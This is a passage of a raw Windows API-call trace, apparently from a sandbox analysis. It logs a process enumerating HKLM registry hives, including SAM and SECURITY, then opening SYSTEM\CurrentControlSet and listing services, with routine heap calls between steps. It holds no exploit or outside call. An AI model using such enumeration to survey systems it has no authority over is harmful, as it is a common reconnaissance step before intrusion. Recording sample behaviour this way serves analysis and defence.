0x21f1a48 [0255.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0255.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.057] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0255.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0255.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.057] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0255.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0255.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.057] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0255.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0255.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.058] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0255.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0255.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.058] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0255.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0255.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.058] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0255.058] RegCloseKey (hKey=0x80000002) returned 0x0 [0255.058] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0255.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0255.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0255.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.059] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0255.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0255.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0255.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.059] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0255.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0255.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0255.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.059] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0255.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0255.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0255.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0255.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0255.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0255.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0255.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0255.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0255.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.061] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0255.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0255.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0255.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0255.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.062] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0255.062] RegCloseKey (hKey=0x148) returned 0x0 [0255.062] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0255.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0255.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.062] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0255.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0255.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.063] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0255.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0255.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0255.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.063] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0255.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0255.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.063] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0255.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0255.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0255.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0255.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.064] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0255.064] RegCloseKey (hKey=0x150) returned 0x0 [0255.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0255.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0255.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", 